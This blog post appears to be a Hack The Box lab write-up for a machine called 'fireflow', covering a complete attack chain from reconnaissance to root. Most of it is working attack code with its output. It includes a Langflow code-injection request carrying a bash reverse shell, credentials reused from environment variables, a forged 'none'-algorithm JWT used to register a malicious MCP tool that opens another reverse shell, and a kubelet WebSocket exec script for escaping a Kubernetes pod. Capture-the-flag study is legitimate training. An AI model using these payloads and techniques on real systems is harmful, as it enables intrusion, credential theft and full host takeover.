Sitemap
alsh3ath

alsh3ath

.... . .-.. .-.. --- / .-- --- .-. .-.. -..

10 min readAug 28, 2026

--

Press enter or click to view image in full size

At first, my advice to you is to check the policy of anything before publishing it, because I wrote a writeup for the Reactor machine and it is Active machine, so I couldn't publish it, "in violation of the Medium Rules." Because HTB's policy is you can only publish writeups for retired machines, not active ones.

Recon

At the start of solving any machine, try to check if it's up by pinging it. -c is for redundancy:

ping -c 3 <IP>

PING <IP> (<IP>) 56(84) bytes of data.
64 bytes from <IP>: icmp_seq=1 ttl=63 time=391 ms
64 bytes from <IP>: icmp_seq=2 ttl=63 time=413 ms
64 bytes from <IP>: icmp_seq=3 ttl=63 time=363 ms

In scanning I use nmap. First I extract the number of open ports — you can use -sU for a UDP scan and -sS for a SYN scan:

nmap -p 1-10000 <IP>                                                                                  
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-26 10:44 EDT

Nmap scan report for <IP>
Host is up (0.36s latency).
Not shown: 9996 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
443/tcp open https
6443/tcp filtered sun-sr-https
9100/tcp filtered jetdirect

Then here we get more information about the ports. -sC runs nmap's scripts (scripting gives more info about a port), -sV gets the version of each port:

nmap -sC -sV -p 22,443 <IP>                                                               
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-26 10:48 EDT
Nmap scan report for <IP>
Host is up (0.37s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
443/tcp open ssl/http nginx
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| http/1.1
| http/1.0
|_ http/0.9
| ssl-cert: Subject: commonName=fireflow.htb/organizationName=Task Force Nightfall/countryName=US
| Subject Alternative Name: DNS:fireflow.htb, DNS:*.fireflow.htb
| Not valid before: 2026-04-14T16:35:31
|_Not valid after: 2028-07-17T16:35:31
|_http-title: Did not follow redirect to https://fireflow.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Btw, you can do all of this in one command, but I think it will take more time :|

Then we go to /etc/hosts, which maps hostnames to IP addresses locally on your computer. We can see in the nmap output, under port 443, that we have fireflow.htb:

sudo nano /etc/hosts
<IP> fireflow.htb

Web Enumeration

Now go to https://fireflow.htb/ and try to see anything suspicious, and check the technologies used on the website with a browser extension called Wappalyzer, because you could find an old version of something — but here I didn't find anything :)

Ops is short for (Operations). It refers to the systems, background processes, and teams that keep a digital platform running smoothly every day. When I click on it I can open a file. I tried an .aspx payload for a reverse shell but it didn't work.

Fuzzing: here you can explore the directories, subdomains, and endpoints of the website.

I use the seclists wordlist and -t 200, which is a high request rate — don't use it against real websites because you will get blocked, but in HTB you won't be blocked. -fs filters out those false positives:

ffuf -u https://fireflow.htb/ -H "HOST: FUZZ.fireflow.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -t 200 -fs 162

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : GET
:: URL : https://fireflow.htb/
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.fireflow.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 200
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 162
________________________________________________

flow [Status: 200, Size: 1142, Words: 132, Lines: 25, Duration: 400ms]
:: Progress: [19966/19966] :: Job [1/1] :: 327 req/sec :: Duration: [0:00:41] :: Errors: 0 ::

Then go back to /etc/hosts and add flow.fireflow.htb pointing to the same IP.

I tried to sign up then sign in on https://flow.fireflow.htb but got an error.

Foothold via Langflow RCE

You can see in Wappalyzer that we have this technology (React Router version 6), and I found a CVE for it: CVE-2025–43865

React Router is a library for handling navigation between pages/routes in a React app without reloading the whole page. (Try to understand the scenario, to feel it like real — don't just go for the flags.)

If we go back to https://fireflow.htb and look at the source code, we will find:
<a href="https://flow.fireflow.htb/playground/7d84...">

By checking DevTools you can find /api/v1/flows/public_flow/7d84d636-af65-42e4-ac38-26e867052c25, then go to it: https://flow.fireflow.htb/api/v1/flows/public_flow/7d84d636-af65-42e4-ac38-26e867052c25

You can search with ctrl+F for "version" and I found it: 1.8.2. So you can use CVE-2026-33017

Open https://flow.fireflow.htb/playground/7d84d636-af65-42e4-ac38-26e867052c25 and go to DevTools to find the client-id, then use it here, and change <IP> to your IP :)

But before that, don't forget to open a listener:

nc -nlvp 4444
curl -sk -X POST \
'https://flow.fireflow.htb/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow' \
-H 'Content-Type: application/json' \
-b 'client_id=<client_id_from_browser>' \
-d '{
"data": {
"nodes": [{
"id": "Evil",
"type": "genericNode",
"position": {"x":0,"y":0},
"data": {
"id": "Evil",
"type": "EvilComp",
"node": {
"template": {
"code": {
"type": "code",
"required": true,
"show": true,
"multiline": true,
"value": "import os\n\n_x = os.system(\"bash -c '\''bash -i >& /dev/tcp/<IP>/4444 0>&1'\''\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass EvilComp(Component):\n display_name=\"Evil-X\"\n outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n def r(self)->Data:\n return Data(data={})",
"name": "code",
"password": false,
"advanced": false,
"dynamic": false
},
"_type": "Component"
},
"description": "Evil-X",
"base_classes": ["Data"],
"display_name": "EvilComp",
"name": "EvilComp",
"frozen": false,
"outputs": [{"types":["Data"],"selected":"Data","name":"o","display_name":"O","method":"r","value":"UNDEFINED","cache":true,"allows_loop":false,"tool_mode":false,"hidden":null,"required_inputs":null,"group_outputs":false}],
"field_order": ["code"],
"beta": false,
"edited": false
}
}
}],
"edges": []
}
}'

Now you'll get a www-data shell, but you still can't read user.txt:

www-data@fireflow:/var/lib/langflow$

I tried env: shows the environment variables available.
Environment variables: named values that programs use for configuration or settings.

www-data@fireflow:/home$ env
env
LANGFLOW_LOG_LEVEL=warning
USER_AGENT=langflow
MEMORY_PRESSURE_WRITE=c29tZSAyMDAwMDAgMjAwMDAwMAA=
LANGFLOW_NEW_USER_IS_ACTIVE=False
SERVER_SOFTWARE=gunicorn/22.0.0
PWD=/home
LOGNAME=www-data
LANGFLOW_SUPERUSER=langflow
SYSTEMD_EXEC_PID=1518
LANGFLOW_CONFIG_DIR=/var/lib/langflow
HOME=/var/www
LANG=en_US.UTF-8
MEMORY_PRESSURE_WATCH=/sys/fs/cgroup/system.slice/langflow.service/memory.pressure
INVOCATION_ID=73823d6c223141baab5acd13d9b63463
USER=www-data
LANGFLOW_AUTO_LOGIN=False
SHLVL=3
LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll
LANGFLOW_SECRET_KEY=XgDCYma6JZzT3XXyePTbr4vgWrrZ4Vzz-PCQ4PXfKgE
JOURNAL_STREAM=8:10004
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/snap/bin
LANGFLOW_CORS_ORIGINS=https://flow.fireflow.htb,https://fireflow.htb
_=/usr/bin/env
OLDPWD=/
www-data@fire

These are valuable credentials:

USER_AGENT=langflow
LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll

I tried it on https://flow.fireflow.htb/login and it worked.

flow.* here refers to a flow: a visual workflow made by connecting components together.

Press enter or click to view image in full size

Privilege Escalation to nightfall

And if you go back to the shell and read /etc/passwd, you can see the usernames:

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:102:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:103:104::/nonexistent:/usr/sbin/nologin
uuidd:x:104:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:107::/nonexistent:/usr/sbin/nologin
tss:x:106:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
_laurel:x:999:988::/var/log/laurel:/bin/false
nightfall:x:1000:1000::/home/nightfall:/bin/bash
dnsmasq:x:996:65534:dnsmasq:/var/lib/misc:/usr/sbin/nologin

So try nightfall with n1ghtm4r3_b4_n1ghtf4ll to get a shell:

su nightfall
Password: n1ghtm4r3_b4_n1ghtf4ll
user.txt

You can find hidden directories in the same nightfall directory:

nightfall@fireflow:~$ ls -al


total 36
drwxr-x--- 5 nightfall nightfall 4096 May 12 15:28 .
drwxr-xr-x 3 root root 4096 May 12 15:28 ..
lrwxrwxrwx 1 root root 9 May 12 14:24 .bash_history -> /dev/null
-rw-r--r-- 1 nightfall nightfall 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 nightfall nightfall 3771 Mar 31 2024 .bashrc
drwx------ 2 nightfall nightfall 4096 May 12 15:28 .cache
drwxrwxr-x 3 nightfall nightfall 4096 May 12 15:28 .local
drwx------ 2 nightfall nightfall 4096 Aug 26 22:52 .mcp
-rw-r--r-- 1 nightfall nightfall 807 Mar 31 2024 .profile
-rw-r----- 1 root nightfall 33 Aug 26 22:53 user.txt

MCP Discovery

Go to the .mcp directory:

nightfall@fireflow:~$ cd .mcp 

cd .mcp

nightfall@fireflow:~/.mcp$ ls

ls
config.json

Read config.json:

cat config.json

{
"server": "http://<IP>:30080",
"status_endpoint": "/api/v1/version",
"user": "langflow-bot",
"password": "Langfl0w@mcp2026!"
}

These are interesting finds. So here we have the password, username, server, and endpoint:

  • server → where the MCP service is running.
  • status_endpoint → API path used to check its version/status.
  • user → username the program uses to authenticate.
  • password → password for that account.

So now we will figure out what program is running on this port. -i includes the http response headers:

nightfall@fireflow:~/.mcp$ curl -i http://<IP>:30080/api/v1/version

HTTP/1.1 200 OK
date: Thu, 27 Aug 2026 05:16:31 GMT
server: uvicorn
content-length: 322
content-type: application/json

{"service":"MCP AI Tool Registry","version":"0.1.0","auth":{"type":"JWT","header":"Authorization: Bearer <token>","supported_algorithms":["HS256","none"]},"docs":"/docs","endpoints":["POST /mcp [MCP JSON-RPC 2.0]","POST /api/v1/auth","GET /api/v1/tools","POST /api/v1/tools [admin]"]}

So here we know some information:

POST /api/v1/auth
GET /api/v1/tools
POST /api/v1/tools [admin]
POST /mcp

More enumeration by checking /docs:

nightfall@fireflow:~$ curl -s http://:30080/docs
…
const ui = SwaggerUIBundle({
url: '/openapi.json',
"dom_id": "#swagger-ui",
…

You can understand from this code that the API definition is stored at /openapi.json.

Get alsh3ath’s stories in your inbox

Join Medium for free to get updates from this writer.

Now we will send a POST request to the server’s login endpoint:

nightfall@fireflow:~$ curl -s -X POST http://<IP>:30080/api/v1/auth \
-H 'Content-Type: application/json' \
-d '{"username":"langflow-bot","password":"Langfl0w@mcp2026!"}'

{"access_token":"<token>","token_type":"bearer"}

Here I will ask the server for the list of tools, telling it I’m authenticated by using my token:

nightfall@fireflow:~$ curl -s http://<IP>:30080/api/v1/tools \
-H "Authorization: Bearer <token>"

[{"name":"ping_host","description":"Ping a target host 3 times and return ICMP output."},{"name":"get_metrics_summary","description":"Return a summary of system memory and load average from /proc."},{"name":"list_running_tasks","description":"List the top 20 running processes sorted by CPU usage."}]

The next step is to call one of the tools using MCP’s tools/call method:

nightfall@fireflow:~$ curl -s http://<IP>:30080/mcp \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"get_metrics_summary","arguments":{}}}'

{"jsonrpc":"2.0","id":2,"result":{"content":[{"type":"text","text":"MemTotal: 4009884 kB\nMemFree: 163376 kB\nMemAvailable: 1854144 kB\nBuffers: 116268 kB\nCached: 1736148 kB\nLoad Avg (1/5/15 min): 0.00 0.12 0.18\nRunning/Total procs: 1/461\n"}],"isError":false}}

It worked, we got "isError":false.

Write this code in the terminal, it will give you a token with the admin role:

nightfall@fireflow:~$ python3 - <<'EOF'           #1
import jwt #2
print(jwt.encode( #3
{"sub": "langflow-bot", "role": "admin"}, #4
key="", #5
algorithm="none" #6
))
EOF

Explain the code line by line:

  1. Tells Bash that the Python will end when it sees EOF.
  2. Load the JWT library.
  3. Create a JWT and print the result.
  4. JWT payload.
  5. Use an empty signing key.
  6. Use the none algorithm, meaning no cryptographic signature is generated.

Now we will try to create a new MCP tool named x, to check if the admin role worked:

none_token=<token>
curl -s -X POST http://<IP>:30080/api/v1/tools \
-H "Authorization: Bearer $none_token" \
-H "Content-Type: application/json" \
-d '{"name":"x","description":"test","code":"print(1)"}'

{"status":"registered","name":"x"}

Here we confirmed server-side code execution:

curl -s http:/curl -s http://<IP>:30080/mcp \
-H "Authorization: Bearer $none_token" \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"x","arguments":{}}}'

{"jsonrpc":"2.0","id":4,"result":{"content":[{"type":"text","text":"1\n"}],"isError":false}}

MCP Tool Injection — Shell in Kubernetes Pod

shell.sh — a script that does two things via curl:

  1. Registers a fake “tool” on the MCP server, where the “tool” is actually just a Python one-liner that opens a reverse shell back to you.
  2. Calls that tool, which makes the MCP server execute the malicious code.
nightfall@fireflow:~/.mcp$ cat > shell.sh << 'EOF'                                                                  
curl -X POST http://<IP>:30080/api/v1/tools \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
-d '{
"name": "exploitnotes",
"description": "evil",
"code": "import os; os.system(\"bash -c '\''bash -i >& /dev/tcp/<IP>/4444 0>&1'\''\")"
}'
curl -s http://<IP>:30080/mcp \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 9,
"method": "tools/call",
"params": {
"name": "exploitnotes",
"arguments": {}
}
}' | jq
EOF
chmod +x shell.shnightfall@fireflow:~/.mcp$ nc -lvnp 4444 
[1] 14701
nightfall@fireflow:~/.mcp$ ./shell.sh
{"status":"registered","name":"exploitnotes"}Connection received on <IP> 46956
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
mcp@mcp-server-54464cb475-29ztf:/app$

Inside the MCP server’s Kubernetes pod (the pod’s name is mcp-server-54464cb475-29ztf).
Open two windows in the terminal to work correctly: one for listening and the other to run shell.sh.
You can use ssh nightfall@<IP> to run it in the other terminal window.
mcp@mcp-server-54464cb475–29ztf:/app$ id
uid=1000(mcp) gid=1000(mcp) groups=1000(mcp)
⚠️ note: this pod is unstable, it restarts every ~2 min and kills your shell.

mcp@mcp-server-54464cb475–29ztf:/app$ id

uid=1000(mcp) gid=1000(mcp) groups=1000(mcp)

Kubernetes Enumeration

Every pod with a service account gets a token at a fixed path:

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)

Ask Kubernetes what we’re allowed to do:

curl -sk -H "Authorization: Bearer $TOKEN" -X POST 
https://:443/apis/authorization.k8s.io/v1/selfsubjectrulesreviews
-d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}'
| python3 -m json.tool

Result: only get on nodes/proxy. We can read through the API server to a node's kubelet, but can't create/exec.

Node name is usually the hostname — try fireflow:

curl -sk -H "Authorization: Bearer $TOKEN" 
"https://:443/api/v1/nodes/fireflow/proxy/pods" | python3 -m json.tool | grep -E '"name"|"namespace"'

One pod stands out: prometheus-prometheus-node-exporter-nmntq (monitoring ns) - root, hostPID, hostNetwork, mounts the whole host fs. Escape target.

Exec via API server → blocked (needs create).
Exec via kubelet HTTP /run → also blocked, same check.

Node Escape — Kubelet WebSocket Exec

The trick: kubelet’s /exec uses WebSockets, not HTTP, and only checks get nodes/proxy to open the connection - not create. Two doors, two locks, only one checks us properly.

Wrote evil.py - a WebSocket client that talks directly to the kubelet and runs commands inside node-exporter:

cat > /tmp/evil.py << 'EOF'
import asyncio, ssl, sys, websockets

NODE = "<IP>"
NE_NS, NE_POD, NE_CNT = "monitoring", "prometheus-prometheus-node-exporter-nmntq", "node-exporter"
TOKEN = open('/var/run/secrets/kubernetes.io/serviceaccount/token').read().strip()
COMMAND = sys.argv[1] if len(sys.argv) > 1 else 'id'

async def ws_exec(cmd):
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
args = "&".join(f"command={p}" for p in cmd.split())
url = f"wss://{NODE}:10250/exec/{NE_NS}/{NE_POD}/{NE_CNT}?output=1&error=1&{args}"
async with websockets.connect(url, ssl=ctx, additional_headers={"Authorization": f"Bearer {TOKEN}"},
subprotocols=["v4.channel.k8s.io"], open_timeout=10) as ws:
try:
while True:
data = await asyncio.wait_for(ws.recv(), timeout=5)
if isinstance(data, bytes) and len(data) > 1:
print(data[1:].decode(errors='replace'), end='')
except (asyncio.TimeoutError, websockets.exceptions.ConnectionClosed):
pass

asyncio.run(ws_exec(COMMAND))
EOF

Confirm:

mcp@mcp-server-54464cb475–29ztf:/app$ python3 /tmp/evil.py "id"

uid=0(root) gid=65534(nobody) groups=10(wheel),65534(nobody)
mcp@mcp-server-54464cb475–29ztf:/app$ python3 /tmp/evil.py "cat /host/root/root/root.txt"
Press enter or click to view image in full size
root.txt

--

--

alsh3ath
alsh3ath

Written by alsh3ath

.... . .-.. .-.. --- / .-- --- .-. .-.. -..